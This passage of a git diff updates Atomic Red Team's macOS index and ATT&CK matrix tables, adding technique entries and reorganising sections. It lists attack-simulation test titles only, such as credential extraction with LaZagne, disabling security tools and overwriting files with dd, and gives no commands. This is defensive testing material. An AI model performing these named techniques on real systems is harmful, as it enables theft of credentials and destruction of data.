TEST](https://atomicredteam.io/contributing) | Domain Generation Algorithms [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | -| | User Execution [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Setuid and Setgid](./T1166/T1166.md) | | [Hidden Files and Directories](./T1158/T1158.md) | | [System Information Discovery](./T1082/T1082.md) | | [Screen Capture](./T1113/T1113.md) | | Fallback Channels [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | -| | | [Systemd Service](./T1501/T1501.md) | | Indicator Removal from Tools [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | [System Network Configuration Discovery](./T1016/T1016.md) | | | | Multi-Stage Channels [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | -| | | [Trap](./T1154/T1154.md) | | [Indicator Removal on Host](./T1070/T1070.md) | | [System Network Connections Discovery](./T1049/T1049.md) | | | | Multi-hop Proxy [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | -| | | Valid Accounts [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | [Install Root Certificate](./T1130/T1130.md) | | [System Owner/User Discovery](./T1033/T1033.md) | | | | Multiband Communication [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | -| | | [Web Shell](./T1100/T1100.md) | | [Masquerading](./T1036/T1036.md) | | | | | | Multilayer Encryption [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | -| | | | | [Obfuscated Files or Information](./T1027/T1027.md) | | | | | | Port Knocking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | -| | | | | Port Knocking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | Remote Access Tools [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | -| | | | | [Process Injection](./T1055/T1055.md) | | | | | | [Remote File Copy](./T1105/T1105.md) | -| | | | | Redundant Access [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | [Standard Application Layer Protocol](./T1071/T1071.md) | -| | | | | [Rootkit](./T1014/T1014.md) | | | | | | Standard Cryptographic Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | -| | | | | [Scripting](./T1064/T1064.md) | | | | | | Standard Non-Application Layer Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | -| | | | | [Space after Filename](./T1151/T1151.md) | | | | | | [Uncommonly Used Port](./T1065/T1065.md) | -| | | | | [Timestomp](./T1099/T1099.md) | | | | | | Web Service [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| Drive-by Compromise [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Command-Line Interface](./T1059/T1059.md) | [.bash_profile and .bashrc](./T1156/T1156.md) | Exploitation for Privilege Escalation [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Application Access Token [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Account Manipulation](./T1098/T1098.md) | [Account Discovery](./T1087/T1087.md) | Application Access Token [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Audio Capture](./T1123/T1123.md) | Automated Exfiltration [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Commonly Used Port [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| Exploit Public-Facing Application [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exploitation for Client Execution [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Account Manipulation](./T1098/T1098.md) | [Process Injection](./T1055/T1055.md) | [Binary Padding](./T1009/T1009.md) | [Bash History](./T1139/T1139.md) | [Browser Bookmark Discovery](./T1217/T1217.md) | Application Deployment Software [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Automated Collection](./T1119/T1119.md) | [Data Compressed](./T1002/T1002.md) | Communication Through Removable Media [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| Hardware Additions [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Graphical User Interface [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Bootkit [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Setuid and Setgid](./T1166/T1166.md) | [Clear Command History](./T1146/T1146.md) | [Brute Force](./T1110/T1110.md) | Cloud Service Dashboard [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exploitation of Remote Services [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Clipboard Data](./T1115/T1115.md) | [Data Encrypted](./T1022/T1022.md) | [Connection Proxy](./T1090/T1090.md) | +| [Spearphishing Attachment](./T1193/T1193.md) | [Local Job Scheduling](./T1168/T1168.md) | [Browser Extensions](./T1176/T1176.md) | [Sudo](./T1169/T1169.md) | Compile After Delivery [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Cloud Instance Metadata API [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Cloud Service Discovery [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Internal Spearphishing [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Data Staged](./T1074/T1074.md) | [Data Transfer Size Limits](./T1030/T1030.md) | Custom Command and Control Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| Spearphishing Link [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Scripting](./T1064/T1064.md) | [Create Account](./T1136/T1136.md) | [Sudo Caching](./T1206/T1206.md) | [Connection Proxy](./T1090/T1090.md) | [Credential Dumping](./T1003/T1003.md) | [File and Directory Discovery](./T1083/T1083.md) | [Remote File Copy](./T1105/T1105.md) | Data from Cloud Storage Object [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Exfiltration Over Alternative Protocol](./T1048/T1048.md) | Custom Cryptographic Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| Spearphishing via Service [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Source](./T1153/T1153.md) | [Hidden Files and Directories](./T1158/T1158.md) | Valid Accounts [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Disabling Security Tools](./T1089/T1089.md) | Credentials from Web Browsers [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Network Service Scanning](./T1046/T1046.md) | Remote Services [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Data from Information Repositories [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exfiltration Over Command and Control Channel [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Data Encoding](./T1132/T1132.md) | +| Supply Chain Compromise [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Space after Filename](./T1151/T1151.md) | Implant Container Image [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Web Shell](./T1100/T1100.md) | Execution Guardrails [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Credentials in Files](./T1081/T1081.md) | [Network Share Discovery](./T1135/T1135.md) | SSH Hijacking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Data from Local System](./T1005/T1005.md) | Exfiltration Over Other Network Medium [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Data Obfuscation [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| Trusted Relationship [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Third-party Software [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Kernel Modules and Extensions](./T1215/T1215.md) | | Exploitation for Defense Evasion [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exploitation for Credential Access [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Network Sniffing](./T1040/T1040.md) | Third-party Software [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Data from Network Shared Drive [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exfiltration Over Physical Medium [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Domain Fronting [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| Valid Accounts [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Trap](./T1154/T1154.md) | [Local Job Scheduling](./T1168/T1168.md) | | [File Deletion](./T1107/T1107.md) | [Input Capture](./T1056/T1056.md) | [Password Policy Discovery](./T1201/T1201.md) | Web Session Cookie [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Data from Removable Media [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Scheduled Transfer [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Domain Generation Algorithms [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| | User Execution [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Office Application Startup](./T1137/T1137.md) | | [File and Directory Permissions Modification](./T1222/T1222.md) | [Network Sniffing](./T1040/T1040.md) | [Permission Groups Discovery](./T1069/T1069.md) | | [Email Collection](./T1114/T1114.md) | Transfer Data to Cloud Account [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Fallback Channels [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| | | Port Knocking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | [HISTCONTROL](./T1148/T1148.md) | [Private Keys](./T1145/T1145.md) | [Process Discovery](./T1057/T1057.md) | | [Input Capture](./T1056/T1056.md) | | Multi-Stage Channels [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| | | Redundant Access [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | [Hidden Files and Directories](./T1158/T1158.md) | Steal Application Access Token [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Remote System Discovery](./T1018/T1018.md) | | [Screen Capture](./T1113/T1113.md) | | Multi-hop Proxy [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| | | Server Software Component [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Indicator Removal from Tools [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Steal Web Session Cookie [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Software Discovery [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | Multiband Communication [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| | | [Setuid and Setgid](./T1166/T1166.md) | | [Indicator Removal on Host](./T1070/T1070.md) | Two-Factor Authentication Interception [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [System Information Discovery](./T1082/T1082.md) | | | | Multilayer Encryption [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| | | [Systemd Service](./T1501/T1501.md) | | [Install Root Certificate](./T1130/T1130.md) | | [System Network Configuration Discovery](./T1016/T1016.md) | | | | Port Knocking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| | | [Trap](./T1154/T1154.md) | | [Masquerading](./T1036/T1036.md) | | [System Network Connections Discovery](./T1049/T1049.md) | | | | Remote Access Tools [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| | | Valid Accounts [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | [Obfuscated Files or Information](./T1027/T1027.md) | | [System Owner/User Discovery](./T1033/T1033.md) | | | | [Remote File Copy](./T1105/T1105.md) | +| | | [Web Shell](./T1100/T1100.md) | | Port Knocking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | [Standard Application Layer Protocol](./T1071/T1071.md) | +| | | | | [Process Injection](./T1055/T1055.md) | | | | | | Standard Cryptographic Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| | | | | Redundant Access [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | Standard Non-Application Layer Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| | | | | Revert Cloud Instance [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | [Uncommonly Used Port](./T1065/T1065.md) | +| | | | | [Rootkit](./T1014/T1014.md) | | | | | | Web Service [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| | | | | [Scripting](./T1064/T1064.md) | | | | | | | +| | | | | [Space after Filename](./T1151/T1151.md) | | | | | | | +| | | | | [Timestomp](./T1099/T1099.md) | | | | | | | +| | | | | Unused/Unsupported Cloud Regions [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | | | | | | | Valid Accounts [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | | | | | | | Web Service [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | | +| | | | | Web Session Cookie [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | | diff --git a/atomics/macos-index.md b/atomics/macos-index.md index 08c59dfa5b..ba43bfc5f1 100644 --- a/atomics/macos-index.md +++ b/atomics/macos-index.md @@ -10,6 +10,7 @@ - [T1136 Create Account](./T1136/T1136.md) - Atomic Test #2: Create a user account on a MacOS system [macos] - T1157 Dylib Hijacking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1519 Emond [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1158 Hidden Files and Directories](./T1158/T1158.md) - Atomic Test #1: Create a hidden file in a hidden directory [linux, macos] - Atomic Test #2: Mac Hidden file [macos] @@ -55,6 +56,25 @@ - T1078 Valid Accounts [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1100 Web Shell](./T1100/T1100.md) +# impact +- T1531 Account Access Removal [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1485 Data Destruction](./T1485/T1485.md) + - Atomic Test #5: macOS/Linux - Overwrite file with DD [centos, linux, macos, ubuntu] +- T1486 Data Encrypted for Impact [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1491 Defacement [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1488 Disk Content Wipe [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1487 Disk Structure Wipe [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1499 Endpoint Denial of Service [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1495 Firmware Corruption [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1490 Inhibit System Recovery](./T1490/T1490.md) +- T1498 Network Denial of Service [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1496 Resource Hijacking](./T1496/T1496.md) + - Atomic Test #1: macOS/Linux - Simulate CPU Load with Yes [macos, centos, ubuntu, linux] +- T1494 Runtime Data Manipulation [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1492 Stored Data Manipulation [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1529 System Shutdown/Reboot [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1493 Transmitted Data Manipulation [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) + # discovery - [T1087 Account Discovery](./T1087/T1087.md) - Atomic Test #1: Enumerate all accounts [linux, macos] @@ -80,6 +100,7 @@ - Atomic Test #2: Packet Capture MacOS [macos] - [T1201 Password Policy Discovery](./T1201/T1201.md) - Atomic Test #7: Examine password policy - macOS [macos] +- T1120 Peripheral Device Discovery [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1069 Permission Groups Discovery](./T1069/T1069.md) - [T1057 Process Discovery](./T1057/T1057.md) - Atomic Test #1: Process Discovery - ps [macos, centos, ubuntu, linux] @@ -88,6 +109,7 @@ - Atomic Test #5: Remote System Discovery - sweep [linux, macos] - [T1063 Security Software Discovery](./T1063/T1063.md) - Atomic Test #3: Security Software Discovery - ps [linux, macos] +- T1518 Software Discovery [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1082 System Information Discovery](./T1082/T1082.md) - Atomic Test #2: System Information Discovery [linux, macos] - Atomic Test #3: List OS Information [linux, macos] @@ -97,6 +119,7 @@ - Atomic Test #3: System Network Connections Discovery Linux & MacOS [linux, macos] - [T1033 System Owner/User Discovery](./T1033/T1033.md) - Atomic Test #2: System Owner/User Discovery [linux, macos] +- T1497 Virtualization/Sandbox Evasion [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) # execution - [T1155 AppleScript](./T1155/T1155.md) @@ -128,6 +151,7 @@ - Atomic Test #1: AppleScript [macos] - T1017 Application Deployment Software [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - T1210 Exploitation of Remote Services [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1534 Internal Spearphishing [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1037 Logon Scripts](./T1037/T1037.md) - Atomic Test #2: Logon Scripts - Mac [macos] - [T1105 Remote File Copy](./T1105/T1105.md) @@ -182,6 +206,7 @@ - Atomic Test #1: Search Through Bash History [linux, macos] - [T1110 Brute Force](./T1110/T1110.md) - [T1003 Credential Dumping](./T1003/T1003.md) +- T1503 Credentials from Web Browsers [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1081 Credentials in Files](./T1081/T1081.md) - Atomic Test #1: Extract Browser and System credentials with LaZagne [macos] - Atomic Test #2: Extract passwords with grep [macos, linux] @@ -197,6 +222,7 @@ - Atomic Test #2: Discover Private SSH Keys [macos, linux] - Atomic Test #4: Copy Private SSH Keys with rsync [macos, linux] - T1167 Securityd Memory [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1539 Steal Web Session Cookie [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - T1111 Two-Factor Authentication Interception [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) # defense-evasion @@ -210,6 +236,8 @@ - Atomic Test #6: Clear history of a bunch of shells [linux, macos] - T1116 Code Signing [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - T1500 Compile After Delivery [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1090 Connection Proxy](./T1090/T1090.md) + - Atomic Test #1: Connection Proxy [macos, linux] - [T1089 Disabling Security Tools](./T1089/T1089.md) - Atomic Test #5: Disable Carbon Black Response [macos] - Atomic Test #6: Disable LittleSnitch [macos] @@ -219,7 +247,7 @@ - [T1107 File Deletion](./T1107/T1107.md) - Atomic Test #1: Delete a single file - Linux/macOS [linux, macos] - Atomic Test #2: Delete an entire folder - Linux/macOS [linux, macos] -- [T1222 File Permissions Modification](./T1222/T1222.md) +- [T1222 File and Directory Permissions Modification](./T1222/T1222.md) - Atomic Test #8: chmod - Change file or folder mode (numeric mode) [macos, linux] - Atomic Test #9: chmod - Change file or folder mode (symbolic mode) [macos, linux] - Atomic Test #10: chmod - Change file or folder mode (numeric mode) recursively [macos, linux] @@ -264,9 +292,16 @@ - [T1014 Rootkit](./T1014/T1014.md) - [T1064 Scripting](./T1064/T1064.md) - Atomic Test #1: Create and Execute Bash Shell Script [macos, linux] +- T1045 Software Packing [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1151 Space after Filename](./T1151/T1151.md) - Atomic Test #1: Space After Filename [macos] +- [T1099 Timestomp](./T1099/T1099.md) + - Atomic Test #1: Set a file's access timestamp [linux, macos] + - Atomic Test #2: Set a file's modification timestamp [linux, macos] + - Atomic Test #3: Set a file's creation timestamp [linux, macos] + - Atomic Test #4: Modify file timestamps using reference file [linux, macos] - T1078 Valid Accounts [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1497 Virtualization/Sandbox Evasion [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - T1102 Web Service [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) # command-and-control @@ -303,23 +338,6 @@ - Atomic Test #2: Testing usage of uncommonly used port [linux, macos] - T1102 Web Service [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) -# impact -- [T1485 Data Destruction](./T1485/T1485.md) - - Atomic Test #5: macOS/Linux - Overwrite file with DD [centos, linux, macos, ubuntu] -- T1486 Data Encrypted for Impact [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) -- T1491 Defacement [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) -- T1488 Disk Content Wipe [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) -- T1487 Disk Structure Wipe [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) -- T1499 Endpoint Denial of Service [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) -- T1495 Firmware Corruption [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) -- [T1490 Inhibit System Recovery](./T1490/T1490.md) -- T1498 Network Denial of Service [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) -- [T1496 Resource Hijacking](./T1496/T1496.md) - - Atomic Test #1: macOS/Linux - Simulate CPU Load with Yes [macos, centos, ubuntu, linux] -- T1494 Runtime Data Manipulation [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) -- T1492 Stored Data Manipulation [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) -- T1493 Transmitted Data Manipulation [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - # initial-access - T1189 Drive-by Compromise [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - T1190 Exploit Public-Facing Application [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) @@ -333,6 +351,8 @@ # privilege-escalation - T1157 Dylib Hijacking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1514 Elevated Execution with Prompt [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1519 Emond [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - T1068 Exploitation for Privilege Escalation [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1160 Launch Daemon](./T1160/T1160.md) - Atomic Test #1: Launch Daemon [macos] diff --git a/atomics/macos-matrix.md b/atomics/macos-matrix.md index 39297e7a8d..148d45056c 100644 --- a/atomics/macos-matrix.md +++ b/atomics/macos-matrix.md @@ -2,32 +2,36 @@ | initial-access | execution | persistence | privilege-escalation | defense-evasion | credential-access | discovery | lateral-movement | collection | exfiltration | command-and-control | |-----|-----|-----|-----|-----|-----|-----|-----|-----|-----|-----| | Drive-by Compromise [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [AppleScript](./T1155/T1155.md) | [.bash_profile and .bashrc](./T1156/T1156.md) | Dylib Hijacking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Binary Padding](./T1009/T1009.md) | [Bash History](./T1139/T1139.md) | [Account Discovery](./T1087/T1087.md) | [AppleScript](./T1155/T1155.md) | [Audio Capture](./T1123/T1123.md) | Automated Exfiltration [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Commonly Used Port [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | -| Exploit Public-Facing Application [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Command-Line Interface](./T1059/T1059.md) | [Browser Extensions](./T1176/T1176.md) | Exploitation for Privilege Escalation [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Clear Command History](./T1146/T1146.md) | [Brute Force](./T1110/T1110.md) | [Application Window Discovery](./T1010/T1010.md) | Application Deployment Software [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Automated Collection](./T1119/T1119.md) | [Data Compressed](./T1002/T1002.md) | Communication Through Removable Media [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | -| Hardware Additions [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exploitation for Client Execution [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Create Account](./T1136/T1136.md) | [Launch Daemon](./T1160/T1160.md) | Code Signing [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Credential Dumping](./T1003/T1003.md) | [Browser Bookmark Discovery](./T1217/T1217.md) | Exploitation of Remote Services [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Clipboard Data](./T1115/T1115.md) | [Data Encrypted](./T1022/T1022.md) | [Connection Proxy](./T1090/T1090.md) | -| [Spearphishing Attachment](./T1193/T1193.md) | Graphical User Interface [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Dylib Hijacking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Plist Modification](./T1150/T1150.md) | Compile After Delivery [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Credentials in Files](./T1081/T1081.md) | [File and Directory Discovery](./T1083/T1083.md) | [Logon Scripts](./T1037/T1037.md) | [Data Staged](./T1074/T1074.md) | [Data Transfer Size Limits](./T1030/T1030.md) | Custom Command and Control Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | -| Spearphishing Link [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Launchctl](./T1152/T1152.md) | [Hidden Files and Directories](./T1158/T1158.md) | [Process Injection](./T1055/T1055.md) | [Disabling Security Tools](./T1089/T1089.md) | Exploitation for Credential Access [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Network Service Scanning](./T1046/T1046.md) | [Remote File Copy](./T1105/T1105.md) | Data from Information Repositories [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Exfiltration Over Alternative Protocol](./T1048/T1048.md) | Custom Cryptographic Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | -| Spearphishing via Service [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Local Job Scheduling](./T1168/T1168.md) | [Kernel Modules and Extensions](./T1215/T1215.md) | [Setuid and Setgid](./T1166/T1166.md) | Execution Guardrails [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Input Capture](./T1056/T1056.md) | [Network Share Discovery](./T1135/T1135.md) | Remote Services [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Data from Local System](./T1005/T1005.md) | Exfiltration Over Command and Control Channel [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Data Encoding](./T1132/T1132.md) | -| Supply Chain Compromise [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Scripting](./T1064/T1064.md) | LC_LOAD_DYLIB Addition [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Startup Items](./T1165/T1165.md) | Exploitation for Defense Evasion [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Input Prompt](./T1141/T1141.md) | [Network Sniffing](./T1040/T1040.md) | SSH Hijacking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Data from Network Shared Drive [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exfiltration Over Other Network Medium [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Data Obfuscation [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | -| Trusted Relationship [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Source](./T1153/T1153.md) | [Launch Agent](./T1159/T1159.md) | [Sudo](./T1169/T1169.md) | [File Deletion](./T1107/T1107.md) | [Keychain](./T1142/T1142.md) | [Password Policy Discovery](./T1201/T1201.md) | Third-party Software [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Data from Removable Media [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exfiltration Over Physical Medium [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Domain Fronting [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | -| Valid Accounts [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Space after Filename](./T1151/T1151.md) | [Launch Daemon](./T1160/T1160.md) | [Sudo Caching](./T1206/T1206.md) | [File Permissions Modification](./T1222/T1222.md) | [Network Sniffing](./T1040/T1040.md) | [Permission Groups Discovery](./T1069/T1069.md) | | [Input Capture](./T1056/T1056.md) | Scheduled Transfer [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Domain Generation Algorithms [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | -| | Third-party Software [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Launchctl](./T1152/T1152.md) | Valid Accounts [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Gatekeeper Bypass](./T1144/T1144.md) | [Private Keys](./T1145/T1145.md) | [Process Discovery](./T1057/T1057.md) | | [Screen Capture](./T1113/T1113.md) | | Fallback Channels [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | -| | [Trap](./T1154/T1154.md) | [Local Job Scheduling](./T1168/T1168.md) | [Web Shell](./T1100/T1100.md) | [HISTCONTROL](./T1148/T1148.md) | Securityd Memory [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Remote System Discovery](./T1018/T1018.md) | | Video Capture [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Multi-Stage Channels [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | -| | User Execution [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Login Item [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | [Hidden Files and Directories](./T1158/T1158.md) | Two-Factor Authentication Interception [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Security Software Discovery](./T1063/T1063.md) | | | | Multi-hop Proxy [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | -| | | [Logon Scripts](./T1037/T1037.md) | | [Hidden Users](./T1147/T1147.md) | | [System Information Discovery](./T1082/T1082.md) | | | | Multiband Communication [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | -| | | [Plist Modification](./T1150/T1150.md) | | Hidden Window [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | [System Network Configuration Discovery](./T1016/T1016.md) | | | | Multilayer Encryption [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | -| | | Port Knocking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Indicator Removal from Tools [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | [System Network Connections Discovery](./T1049/T1049.md) | | | | Port Knocking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | -| | | [Rc.common](./T1163/T1163.md) | | [Indicator Removal on Host](./T1070/T1070.md) | | [System Owner/User Discovery](./T1033/T1033.md) | | | | Remote Access Tools [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | -| | | [Re-opened Applications](./T1164/T1164.md) | | [Install Root Certificate](./T1130/T1130.md) | | 